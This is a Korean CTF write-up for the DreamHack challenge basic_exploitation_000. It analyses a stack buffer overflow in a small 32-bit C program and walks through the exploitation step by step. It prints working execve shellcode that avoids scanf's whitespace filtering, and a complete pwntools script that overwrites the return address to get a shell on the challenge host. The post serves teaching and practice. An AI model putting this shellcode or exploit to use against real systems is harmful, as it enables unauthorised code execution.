본문 바로가기

Wargame/[DreamHack]System Hacking

[DreamHack] basic_exploitation_000

드림핵 System Hacking 워게임 basic_exploitation_000 문제이다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

1. 프로그램 분석

  • 크기가 128바이트인 버퍼의 주소를 출력하고 scanf로 입력받은 문자열을 버퍼에 저장하는 프로그램이다.
  • 아키텍처는 "i386"인 32비트이며 적용되어 있는 보호기법이 없다.

checksec

2. 취약점 분석

  • scanf("%141s", buf)로 입력을 받는 것에서 취약점이 발생한다.
  • scanf 함수는 공백문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.
  • scanf 함수의 "%141s"는 문자열을 입력받을 때 입력의 길이를 141만큼 받는다.
  • 버퍼의 크기인 128보다 더 큰 데이터를 입력하여 반환 주소를 바꿔 실행 흐름을 조작하는 버퍼 오버플로우 취약점이 있다.
  • 쉘 획득 함수가 없기 때문에 쉘 코드를 직접 작성하여 쉘을 획득해야 한다.
  • buf의 주소를 알기 때문에 buf에 쉘 코드를 저장하고 반환 주소를 buf 주소로 덮는다. 그러면 buf 주소를 반환할 때 buf에 있는 쉘 코드를 실행하여 쉘을 획득할 수 있다.

3. 풀이 과정

  1. 스택 프레임 구조를 확인한다.
  2. 크기가 128 바이트인 버퍼 길이보다 길게 입력하여 버퍼 오버플로우를 발생시킨다.
  3. buf에 입력할 때 쉘 코드를 넣어 주고 나머지는 쓰레기값으로 채운다.
  4. 반환 주소는 쉘 코드가 있는 buf 주소로 덮는다.
  5. buf 주소를 반환하면서 buf에 있는 쉘 코드가 실행되고 쉘을 획득할 수 있다.

4. 익스플로잇

1) 먼저 main 함수의 스택 프레임의 구조를 구한다.

  • 스택 프레임을 0x80만큼 할당한다.

 

  • scanf 함수에 첫번째 인자가 %141s이고 두번째 인자 buf이기 때문에 scanf 함수가 인자로 가져오는 주소를 보고 buf의 위치를 알 수 있다. 32비트 함수 호출 규약에 의해 두번째 인자인 [ebp - 0x80], 첫번째 인자인 0x80486a5 순으로 스택에 push가 된다.
    (main+25줄은 32비트 함수 호출 규약 cdecl에서 인자를 전달하기 위해 사용한 스택을 호출자(Caller)가 정리한다는 특징을 이용하여 printf에서 사용한 스택을 정리할 때 사용)

 

  • 첫번째 인자인  0x80486a5에 "buf = (%p)\n"이 저장되어 있다는 것을 확인할 수 있다. 두번째 인자인 [ebp - 0x80]은 스택 프레임에서 buf의 위치이다.

 

  • 스택 프레임의 구조는 buf가 [ebp - 0x80]에 위치하고 ebp에 스택 프레임 포인터가 0x4만큼 있고 [ebp + 0x4]은 return address가 있다.

스택 프레임 구조

2) 쉘 코드 작성

  • scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못하기 때문에 32비트 쉘코드 중 26 Bytes Shell Code를 사용하여 scanf를 우회한다. 

    <26 Bytes Shell Code>
    \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

쉘 코드 모음 링크이다.

 

[System Hacking] 쉘 코드 모음(32비트, 64비트)

1. 32비트 쉘 코드 25 Bytes Shell Code (기본) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회) \x31\xc0\x50\x68\x6..

sungw00k.tistory.com


3) 페이로드 구성

  • 쉘 코드를 buf에 넣고 buf의 나머지(0x80 - len(shellcode))와 SFP(0x4)를 쓰레기값으로 채운다. 그리고 return address에 buf의 주소를 덮으면 buf 주소가 반환되면서 쉘 코드가 실행된다.
  • return address를 buf 주소로 덮어야 하기 때문에 buf의 주소를 알아야 한다. 프로그램에서 buf의 주소를 출력시켜주기 때문에 recv를 이용하여 buf의 주소를 받아온다. buf의 주소는 p32를 사용하여 리틀 엔디언을 적용한다. 

4) 익스플로잇

from pwn import *

p = remote('host3.dreamhack.games', 20313)

context(arch='i386', os='linux')

# 26 bytes shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

# buf 주소 받아와 address에 저장
p.recvuntil("buf = (")
address = int(p.recvline()[:-2],16)

# 페이로드 구성
payload = shellcode
payload += b"A"*(0x80-len(shellcode))
payload += b"B"*0x4
payload += p32(address)

# 페이로드 입력
p.sendline(payload)

p.interactive()

5. 결과

 

'Wargame > [DreamHack]System Hacking' 카테고리의 다른 글

[DreamHack] basic_exploitation_001  (0) 2022.08.10
[DreamHack] Return Address Overwrite  (0) 2022.08.10
[DreamHack] Shell_basic  (0) 2022.08.02